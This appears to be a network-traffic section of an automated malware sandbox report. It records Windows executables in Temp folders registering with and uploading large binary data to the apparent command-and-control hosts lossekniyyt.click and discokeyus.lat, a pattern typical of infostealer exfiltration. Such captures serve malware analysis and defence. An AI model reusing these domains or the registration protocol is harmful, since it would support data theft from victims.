2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 47 42 70 4f 64 52 71 67 76 36 37 6b 2b 75 4f 30 41 54 58 33 77 4c 59 7a 64 61 36 73 51 2b 6f 61 50 52 77 57 52 62 4b 4d 51 79 36 50 69 59 35 32 53 4c 4b 72 4c 4f 47 71 4e 69 65 49 64 48 45 43 64 4b 50 37 72 79 37 43 71 52 39 75 57 73 46 42 59 6f 2b 42 66 74 73 62 48 53 57 61 73 75 6d 2f 4e 50 72 35 34 63 6c 6c 76 34 43 33 49 48 6b 72 2f 38 65 34 57 66 30 61 42 74 50 30 6e 59 4e 38 6d 4e 6a 4f 39 6b 67 77 72 75 32 68 36 50 59 6b 7a 7a 62 7a 77 48 65 68 2b 6d 30 73 51 57 6e 64 37 39 6b 45 51 2b 4c 50 45 43 30 4a 6d 45 73 6d 48 4b 4d 69 72 75 48 70 74 6e 53 47 39 66 46 44 39 57 5a 6f 36 62 78 47 4f 39 35 75 43 39 50 54 34 59 2f 41 50 46 73 59 6a 54 66 4a 38 6d 39 75 34 69 6d 30 5a 6f 67 30 38 38 4e 32 34 4c 6c 75 62 67 46 71 6d 79 78 5a 68 73 44 79 6e 68 41 Data Ascii: GBpOdRqgv67k+uO0ATX3wLYzda6sQ+oaPRwWRbKMQy6PiY52SLKrLOGqNieIdHECdKP7ry7CqR9uWsFBYo+BftsbHSWasum/NPr54cllv4C3IHkr/8e4Wf0aBtP0nYN8mNjO9kgwru2h6PYkzzbzwHeh+m0sQWnd79kEQ+LPEC0JmEsmHKMiruHptnSG9fFD9WZo6bxGO95uC9PT4Y/APFsYjTfJ8m9u4im0Zog088N24LlubgFqmyxZhsDynhA
2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 72 42 61 73 75 79 2f 4e 50 72 33 35 6b 38 32 73 55 49 33 34 6e 72 76 72 45 4d 70 48 69 2f 61 42 41 4a 68 7a 34 4e 2f 32 56 6e 4d 4e 49 34 7a 37 57 32 68 71 47 57 33 6d 37 54 30 30 47 4b 7a 38 53 31 6c 68 47 30 62 4b 49 76 43 45 47 54 64 67 66 32 4a 6a 35 30 32 79 58 46 73 62 53 44 70 4e 6d 55 49 4e 4c 4e 44 4e 65 41 36 61 75 33 44 36 4a 31 75 32 51 46 44 34 63 79 44 50 35 75 62 54 36 59 5a 49 79 35 70 4d 76 7a 6c 71 55 6a 32 38 73 43 78 4d 2f 38 39 36 5a 42 71 48 4c 30 4e 31 63 44 68 44 59 50 39 6d 70 74 50 4e 6b 6d 77 72 6d 35 67 71 50 65 67 69 2f 51 77 77 44 63 67 4f 4b 39 75 67 53 72 65 62 42 70 47 45 2f 45 64 67 66 69 4a 6a 35 30 39 77 33 35 2f 4a 32 78 36 38 6e 65 4e 35 54 4d 44 5a 4c 58 6f 37 57 38 44 61 64 78 73 6d 59 62 42 59 4d 39 44 50 46 69 61 Data Ascii: rBasuy/NPr35k82sUI34nrvrEMpHi/aBAJhz4N/2VnMNI4z7W2hqGW3m7T00GKz8S1lhG0bKIvCEGTdgf2Jj502yXFsbSDpNmUINLNDNeA6au3D6J1u2QFD4cyDP5ubT6YZIy5pMvzlqUj28sCxM/896ZBqHL0N1cDhDYP9mptPNkmwrm5gqPegi/QwwDcgOK9ugSrebBpGE/EdgfiJj509w35/J2x68neN5TMDZLXo7W8DadxsmYbBYM9DPFia
2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 44 76 37 32 4e 75 64 47 5a 50 4e 72 47 44 74 71 48 36 72 69 37 42 4b 4a 34 75 47 55 57 43 49 51 34 43 4c 6f 6f 4a 6a 50 41 61 70 54 2b 6e 5a 75 77 78 49 59 6a 39 63 59 4f 6b 70 43 74 6f 50 38 47 6f 7a 37 73 4c 78 34 64 6a 6a 73 53 38 32 46 6f 4f 39 73 34 7a 62 4f 33 6d 61 7a 5a 6c 43 6e 59 7a 51 37 55 6a 75 61 7a 73 77 61 71 64 62 74 6a 56 30 48 4b 4d 52 69 36 50 69 59 61 30 7a 6e 62 76 62 4b 41 76 63 33 51 4d 5a 72 53 51 64 57 44 6f 2b 48 2f 41 71 52 31 73 47 38 62 44 34 34 37 41 4f 68 70 59 54 50 52 49 64 36 30 75 34 79 67 33 70 73 68 30 74 6b 4e 33 4a 33 6d 71 36 31 42 34 54 36 7a 64 31 64 58 79 67 41 48 36 6e 5a 6c 64 75 6b 38 7a 36 69 33 68 71 65 57 6a 32 44 4e 69 77 62 65 7a 37 76 35 75 51 36 6d 66 62 74 75 48 67 4f 48 4d 77 6e 2f 5a 32 41 77 30 69 Data Ascii: Dv72NudGZPNrGDtqH6ri7BKJ4uGUWCIQ4CLooJjPAapT+nZuwxIYj9cYOkpCtoP8Goz7sLx4djjsS82FoO9s4zbO3mazZlCnYzQ7UjuazswaqdbtjV0HKMRi6PiYa0znbvbKAvc3QMZrSQdWDo+H/AqR1sG8bD447AOhpYTPRId60u4yg3psh0tkN3J3mq61B4T6zd1dXygAH6nZlduk8z6i3hqeWj2DNiwbez7v5uQ6mfbtuHgOHMwn/Z2Aw0i
2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 79 37 53 59 69 57 37 54 78 30 47 4b 7a 2b 43 2b 76 41 43 6c 64 37 68 67 45 41 75 59 50 41 66 6f 5a 32 63 2f 31 53 62 4d 73 37 47 42 71 74 2b 64 49 74 6e 4d 42 74 32 4b 6f 2f 66 2f 42 72 63 2b 37 43 38 32 41 6f 45 36 57 36 41 6d 65 58 72 42 61 73 75 79 2f 4e 50 72 31 70 6f 72 33 73 59 43 33 59 7a 78 75 4c 6b 54 72 33 4f 2b 66 52 30 45 6a 7a 73 4e 39 32 56 67 4d 74 4d 6d 33 72 65 38 69 4b 43 57 33 6d 37 54 30 30 47 4b 7a 38 43 75 71 51 75 6f 63 71 4a 6b 46 67 79 63 4f 78 43 36 4b 43 59 6c 33 7a 75 4d 35 71 71 62 76 4e 47 50 59 4d 32 4c 42 74 37 50 75 2f 6d 35 43 4b 6c 35 73 6d 45 46 43 6f 77 35 44 2f 4e 76 59 6a 7a 62 4b 73 69 36 75 34 36 6f 32 70 73 70 31 38 51 46 32 34 48 71 74 76 39 50 37 33 6d 73 4c 30 39 50 71 79 30 44 39 6d 73 6d 4b 35 59 7a 6a 4c 6d Data Ascii: y7SYiW7Tx0GKz+C+vACld7hgEAuYPAfoZ2c/1SbMs7GBqt+dItnMBt2Ko/f/Brc+7C82AoE6W6AmeXrBasuy/NPr1por3sYC3YzxuLkTr3O+fR0EjzsN92VgMtMm3re8iKCW3m7T00GKz8CuqQuocqJkFgycOxC6KCYl3zuM5qqbvNGPYM2LBt7Pu/m5CKl5smEFCow5D/NvYjzbKsi6u46o2psp18QF24Hqtv9P73msL09Pqy0D9msmK5YzjLm
2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 74 42 32 6c 4f 73 4b 78 49 72 6b 72 2f 30 30 72 48 43 36 61 41 46 50 6c 51 6c 4f 75 6d 6c 38 64 49 41 54 31 66 36 37 68 2b 75 4f 30 44 76 54 79 77 62 49 6d 65 53 31 72 67 71 69 63 70 5a 67 45 42 6d 4a 4f 51 50 72 62 79 6f 2f 31 57 71 43 2f 72 75 54 36 34 37 51 41 64 50 64 41 76 32 4d 38 72 44 2f 54 2b 39 35 6f 69 39 50 54 37 52 32 45 76 6c 32 5a 54 76 4a 46 49 7a 6d 70 62 58 72 33 59 59 70 78 4d 67 58 32 59 4c 76 71 49 46 42 39 79 72 6d 50 55 56 64 32 43 6c 41 35 56 6b 6f 64 4e 6c 71 6c 49 65 6c 79 37 32 57 79 48 79 61 69 78 4f 53 31 36 50 2b 76 42 4f 39 65 4c 64 35 46 45 69 30 43 43 66 73 62 47 45 6b 33 7a 33 44 2f 76 4c 4c 70 4a 62 49 46 35 54 43 42 73 6d 65 39 62 53 76 42 75 39 42 2b 69 38 50 54 39 4a 32 4e 66 6c 6f 61 44 50 4f 4f 34 47 5a 71 6f 47 73 Data Ascii: tB2lOsKxIrkr/00rHC6aAFPlQlOuml8dIAT1f67h+uO0DvTywbImeS1rgqicpZgEBmJOQPrbyo/1WqC/ruT647QAdPdAv2M8rD/T+95oi9PT7R2Evl2ZTvJFIzmpbXr3YYpxMgX2YLvqIFB9yrmPUVd2ClA5VkodNlqlIely72WyHyaixOS16P+vBO9eLd5FEi0CCfsbGEk3z3D/vLLpJbIF5TCBsme9bSvBu9B+i8PT9J2NfloaDPOO4GZqoGs
2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 58 47 44 70 36 42 36 4c 6d 34 45 62 6c 6c 2b 47 63 55 46 5a 41 49 50 74 46 71 59 44 50 43 4c 63 71 59 6e 4d 76 6c 6c 70 39 75 6a 50 4a 42 6d 73 2f 63 39 2f 38 5a 37 79 62 30 57 68 51 42 68 44 45 57 36 79 74 4f 46 2b 49 51 6a 70 4b 37 6e 75 6e 69 6c 7a 37 46 77 41 7a 65 7a 36 33 35 75 55 48 33 4c 76 6f 76 45 78 37 4b 62 6c 43 6f 50 54 4e 6e 6a 33 71 65 6f 66 4b 53 36 38 44 51 64 6f 61 46 51 63 44 50 75 2f 6e 34 41 72 31 73 73 6d 77 42 44 4d 30 49 50 74 31 6f 59 54 58 4f 4f 74 75 78 67 72 57 2b 31 5a 34 67 30 39 30 51 6b 73 47 6a 74 76 39 5a 6c 6a 37 38 4c 79 68 42 79 69 35 41 6f 69 5a 54 4e 39 59 6b 79 36 69 74 78 6f 7a 59 6c 79 2f 43 32 78 62 64 7a 36 33 35 75 55 48 33 4c 50 6f 76 45 78 37 4b 62 6c 43 6f 50 54 4e 6e 6a 33 71 65 6f 66 4b 53 36 38 44 51 64 Data Ascii: XGDp6B6Lm4Ebll+GcUFZAIPtFqYDPCLcqYnMvllp9ujPJBms/c9/8Z7yb0WhQBhDEW6ytOF+IQjpK7nunilz7FwAzez635uUH3LvovEx7KblCoPTNnj3qeofKS68DQdoaFQcDPu/n4Ar1ssmwBDM0IPt1oYTXOOtuxgrW+1Z4g090QksGjtv9Zlj78LyhByi5AoiZTN9Yky6itxozYly/C2xbdz635uUH3LPovEx7KblCoPTNnj3qeofKS68DQd
2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 64 69 4b 47 5a 75 42 65 73 50 76 6f 76 47 30 2f 53 64 67 48 77 64 6d 73 37 33 32 62 4c 70 4c 76 4c 35 5a 61 65 62 6f 79 4c 41 4e 69 66 37 72 61 34 54 61 6c 77 75 69 38 49 51 5a 4e 32 46 72 6f 2b 4e 58 71 59 4f 49 7a 6d 2f 4d 79 6f 78 49 49 6f 31 39 30 43 6c 62 48 64 6c 4b 30 47 76 33 33 32 58 68 6f 4c 6e 43 4d 44 36 6d 46 59 43 76 55 34 79 36 36 2f 79 5a 72 41 6b 79 37 61 7a 45 47 63 7a 2f 76 35 35 30 47 43 62 4c 4e 2f 46 45 2f 45 64 67 79 36 50 69 59 35 79 69 33 63 76 66 43 4d 73 64 48 51 4d 5a 72 53 51 63 54 50 75 2b 72 78 51 62 30 2b 37 43 39 51 41 59 63 33 41 2f 52 6c 64 43 62 65 4b 64 71 39 2b 37 57 56 2b 34 49 70 78 4d 68 44 34 34 4c 6e 72 36 6f 43 76 33 6d 4b 55 54 6f 64 6a 53 59 44 75 45 70 68 4f 64 51 55 38 6f 6d 74 6a 4c 75 55 74 69 33 43 79 45 Data Ascii: diKGZuBesPvovG0/SdgHwdms732bLpLvL5ZaeboyLANif7ra4Talwui8IQZN2Fro+NXqYOIzm/MyoxIIo190ClbHdlK0Gv332XhoLnCMD6mFYCvU4y66/yZrAky7azEGcz/v550GCbLN/FE/Edgy6PiY5yi3cvfCMsdHQMZrSQcTPu+rxQb0+7C9QAYc3A/RldCbeKdq9+7WV+4IpxMhD44Lnr6oCv3mKUTodjSYDuEphOdQU8omtjLuUti3CyE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49746	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:38 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OTXMMCSVFHQUJZ11BD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: lossekniyyt.click
2024-12-20 16:43:38 UTC	1243	OUT	Data Raw: 2d 2d 4f 54 58 4d 4d 43 53 56 46 48 51 55 4a 5a 31 31 42 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4f 54 58 4d 4d 43 53 56 46 48 51 55 4a 5a 31 31 42 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 54 58 4d 4d 43 53 56 46 48 51 55 4a 5a 31 31 42 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4f Data Ascii: --OTXMMCSVFHQUJZ11BDContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--OTXMMCSVFHQUJZ11BDContent-Disposition: form-data; name="pid"1--OTXMMCSVFHQUJZ11BDContent-Disposition: form-data; name="lid"9Z1cyc----O
2024-12-20 16:43:39 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2c1r9895u4fbo2m0d3dghho4co; expires=Tue, 15 Apr 2025 10:30:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=14GWEKf8V9fy3v3L7MmAYDd9j1ZJ6YnvgaEcjU6wjBdDrM6wigiDgbfNTQgcosLyoCqXYliox7vmHJjfcGuJo5hRSh7cAmA0e2OlnYfym%2FqKVXZvEtdUdA3tFt9zMTAz%2B7NvJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117af8e704267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1582&rtt_var=635&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2161&delivery_rate=1666666&cwnd=234&unsent_bytes=0&cid=cd63519c4ef64716&ts=865&x=0"
2024-12-20 16:43:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49752	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:40 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H664Q3XY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12794 Host: discokeyus.lat
2024-12-20 16:43:40 UTC	12794	OUT	Data Raw: 2d 2d 48 36 36 34 51 33 58 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 36 36 34 51 33 58 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 36 36 34 51 33 58 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 76 62 41 72 5a 2d 2d 0d 0a 2d 2d 48 36 36 34 51 33 58 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 Data Ascii: --H664Q3XYContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--H664Q3XYContent-Disposition: form-data; name="pid"2--H664Q3XYContent-Disposition: form-data; name="lid"PvbArZ----H664Q3XYContent-Disposition:
2024-12-20 16:43:41 UTC	1142	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l255oi28cd76og2drgi6t3mqp7; expires=Tue, 15 Apr 2025 10:30:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sww4x%2FBPwWKEIQOhLeNGm3CCSnIxTwNtI%2B8XOWOIGZo%2B94dRURQSJEPn%2BFtb1GS00mgxKve1Un3jNxwq5Ozds81tk%2BdIyPMMVfWot%2FROiflX1JWVlsJkKIjlV%2Fc%2F%2FBk%2BTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117bcc97d42ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1773&min_rtt=1768&rtt_var=673&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2831&recv_bytes=13722&delivery_rate=1615044&cwnd=218&unsent_bytes=0&cid=1315a76e6a41d54b&ts=945&x=0"
2024-12-20 16:43:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49758	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:41 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XWA1D5SEBULS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550684 Host: lossekniyyt.click
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 2d 2d 58 57 41 31 44 35 53 45 42 55 4c 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 57 41 31 44 35 53 45 42 55 4c 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 57 41 31 44 35 53 45 42 55 4c 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 58 57 41 31 44 35 53 45 42 55 4c 53 0d 0a 43 6f 6e 74 65 Data Ascii: --XWA1D5SEBULSContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--XWA1D5SEBULSContent-Disposition: form-data; name="pid"1--XWA1D5SEBULSContent-Disposition: form-data; name="lid"9Z1cyc----XWA1D5SEBULSConte
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 97 59 44 7e 7e 11 f6 83 63 2c 5c a3 fe 4a 4a ec 2e 1c d8 c0 b1 2d 28 fd 07 d0 15 d9 3f d7 81 c8 e6 7c 69 1a 2a e9 43 d3 4a 00 35 92 df aa 17 a6 9e 14 e0 7a d6 c2 96 6b 1a f4 64 34 37 7a fc bd 14 43 8d 95 13 fa 15 ef 22 04 51 7f 01 8c 7e d6 10 06 82 47 06 76 f7 2b d3 b2 9c 3a 6d d1 8f 2a 7f 44 2d ef f3 97 bc 34 2d 03 1c 37 2e 9c ea b8 5a d9 73 71 ef 50 68 ba 72 87 41 3b 1c e4 e7 fe ce f7 f3 b4 ea f9 ca 22 af 8e c3 81 ef 7e 49 e7 03 7f 2d 3b 0d fc 0e d1 73 7e 28 26 91 75 2f 08 b1 8e 34 74 4d 0e 56 d4 c2 cd fe da d6 92 20 f7 5d 2f ab 22 ac 2d d5 0d 39 63 57 21 ba 8e 0c d7 f6 18 62 49 e5 df 0a b2 9f 9a 03 ab 28 1f 2c 7c e5 1d ab 5c 1f 94 7a a0 3b 77 93 98 95 2f b8 e9 f2 2b f9 5e 3b ff 1e 95 7a 80 aa e8 7e a2 8f fe b2 bb aa 6a d8 f5 2a ea cd 9f 35 5d 47 0b 36 Data Ascii: YD~~c,\JJ.-(?\|iCJ5zkd47zC"Q~Gv+:mD-4-7.ZsqPhrA;"~I-;s~(&u/4tMV ]/"-9cW!bI(,\|\z;w/+^;z~j*5]G6
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 27 02 5f 3e 70 1e e9 c4 f2 40 57 fa e7 16 4b 66 d2 a0 30 22 42 1c 24 ad 20 5e ef 13 19 19 e3 47 41 9a 1f a6 10 c0 03 6f c8 20 d7 4e 92 7d 0d cd f2 95 b9 05 32 2d 58 52 0b 6e 5a b2 08 b7 b5 a1 6e 0c a3 56 ee e9 41 2e b0 55 7a 85 c4 e6 25 80 f8 3f 71 40 11 43 c3 c4 1d 5c 2c 2f 1e b4 d4 45 ba 08 56 62 e0 77 bd e1 10 24 be 21 08 5a a0 f6 5f 34 91 0e ee 83 2f b4 fd d8 ba 5b 84 1f 12 5f 83 26 44 56 5e 23 9c 66 54 26 99 19 9c d2 65 9f 6f 65 a5 54 15 ec b4 9b 61 39 be 75 7d 54 d2 6b db 5d 4c 0a 26 b9 7d 1e 3c 85 fa 49 f6 d9 d6 0d f8 03 31 5e 72 ab 49 c0 ca 15 75 c7 ed ee 7c 6b b9 6b 1f 53 8f 17 7f d8 b4 d4 cc 75 fb 9f 5f ec 42 de b5 c5 ab 0b 9b 35 f1 8d 3e 99 db 6b d8 be 9a fb 50 32 f2 c0 44 5b 35 89 66 fc 30 22 d7 2a 32 db a4 ba e2 08 77 3c 67 d9 5f 3d bd da 59 Data Ascii: '_>p@WKf0"B$ ^GAo N}2-XRnZnVA.Uz%?q@C\,/EVbw$!Z_4/[_&DV^#fT&eoeTa9u}Tk]L&}<I1^rIu\|kkSu_B5>kP2D[5f0"*2w<g_=Y
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: e7 7a b1 57 d6 97 6f 32 cb a8 5c f6 de d8 bb 5f 0f 48 16 0e 21 49 cd f5 e3 aa a9 79 a7 68 c9 8a 62 8a 2b cc 90 cf fc 56 0f 69 96 17 22 ce 26 6d d6 b7 ba 62 12 73 63 5b 0c b4 16 af 5c ff 5c 22 33 62 84 09 8b 0c 6b bf e5 28 04 cb 66 e7 e1 a8 a4 dd a4 fb 9a 18 f7 25 d5 39 ef 2b 64 e9 30 08 35 1a df aa 0b b8 e7 ce 57 51 9e 44 2a f4 b5 a3 04 42 72 8c 0d a5 e4 18 35 94 9e cb 4f 2b 5b 35 0d f9 a9 89 1e de 4e 88 e2 85 23 c3 30 70 b1 85 21 3d 2e 3a f8 fe f2 35 3d b5 ec 8c b2 ca 41 fc a6 57 ac 9f c8 bd 3d a9 9b c7 88 20 e0 a7 bb 38 26 32 88 ff 62 8d 72 d7 62 f5 bd f0 e2 84 6f 61 b4 9b d5 e5 13 d3 36 43 31 bf 12 5b 0c 47 e0 26 69 bc 57 8c 01 26 00 5c 25 34 28 64 bd f7 95 6e 1d 5a ff e8 ff 9f 81 64 59 c6 dc 94 10 b8 8d 5f bb 1b d4 b2 d5 f8 ad 64 96 fe dd 3b 37 fb 56 Data Ascii: zWo2\_H!Iyhb+Vi"&mbsc[\\"3bk(f%9+d05WQD*Br5O+[5N#0p!=.:5=AW= 8&2brboa6C1[G&iW&\%4(dnZdY_d;7V
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 99 4c ab e7 ed 0e 0b 95 d8 e4 3d 16 56 a8 2e 96 6d 48 35 b8 80 aa de 4d d2 42 bd 1f 07 be 33 55 6f c4 13 e3 e3 98 71 ca d5 5a ba 59 79 43 16 ce 0d b7 f9 31 de 83 da 2b 2a 94 b2 38 32 ff 03 c3 70 bd 58 f6 3b 3d 2b e7 74 2d ec 2e 91 9b a1 e4 d6 a8 51 9e 8d 43 0f 85 10 f5 7e 0a 0e 25 a0 a0 35 b0 2d b4 38 f4 74 de b2 9f ee 4b b8 b2 f9 e5 34 bf 2e 4a 19 5c ba a7 d6 ea 9d fa 45 4e 84 7d a0 2f 42 24 f5 e3 f7 7f 66 18 07 8b a1 46 66 ea e6 95 d9 49 6b db 8c a5 2d fc 8a 76 7b ab ee 26 fb be b1 35 d7 8b b9 b7 e8 b6 bb 1a 40 78 56 fd e0 fd a0 ba 9b dc b3 5e 57 26 fe 91 0c 46 e7 ea 12 b9 b7 2e be 26 af 3e 05 f1 f3 2a a3 bf 5f 0e 5b 4a 23 83 de de a5 40 f4 b7 78 2c 6f 74 c5 0c d5 39 ed e9 91 33 6b ce 0e e1 b6 17 16 9f 94 fd fb fa 86 c3 58 72 60 b0 a5 4b 35 c6 cf 6b e6 Data Ascii: L=V.mH5MB3UoqZYyC1+82pX;=+t-.QC~%5-8tK4.J\EN}/B$fFfIk-v{&5@xV^W&F.&>_[J#@x,ot93kXr`K5k
2024-12-20 16:43:41 UTC	15331	OUT	Data Raw: 6e ab a1 35 0c af dd b9 60 19 26 03 91 93 e0 48 3a 92 46 60 6c 5f 32 d4 11 4b 0b db ad a5 ab d3 a2 42 4a 4d c9 62 3e d8 d2 42 a9 0d 67 11 f2 6b 92 d5 d8 b6 91 ee 2e 35 74 f8 85 3e 3b 06 05 cf e0 cf a6 00 c6 15 c2 c8 93 94 72 0d 74 04 12 60 14 b8 4c 27 b4 c5 b5 3d 78 f1 8b df ca d2 a5 9c 00 26 36 5e 5a 93 5c 0f 84 3e bf 2c 33 89 e9 d8 37 48 42 44 6f 03 0b 0f 4a 5a 34 63 a7 0e 55 df 73 a5 1a b6 2c b6 ff e0 8f 05 96 63 6a 71 b4 38 b2 d7 43 ed 35 66 5f fb 0b 7e 5d b4 77 b2 7a 94 fc 7d f4 a7 57 e2 62 83 cc cd 60 fe a0 c8 70 a5 b9 5c 10 0f 5b 8d b1 27 78 28 da 5b 4f 2a 3c f3 a3 e9 5a fb 9a 32 bd c5 81 2f 45 0f cc 14 fc 14 6d b3 64 01 b4 38 ef a8 66 07 29 4b 03 b1 7d 07 40 c7 21 fe a8 10 df 85 a8 be a0 74 d6 d9 5e dd 26 96 2d fe e2 f3 f0 0b 3f be 1d 57 70 35 92 Data Ascii: n5`&H:F`l_2KBJMb>Bgk.5t>;rt`L'=x&6^Z\>,37HBDoJZ4cUs,cjq8C5f_~]wz}Wb`p\['x([O*<Z2/Emd8f)K}@!t^&-?Wp5
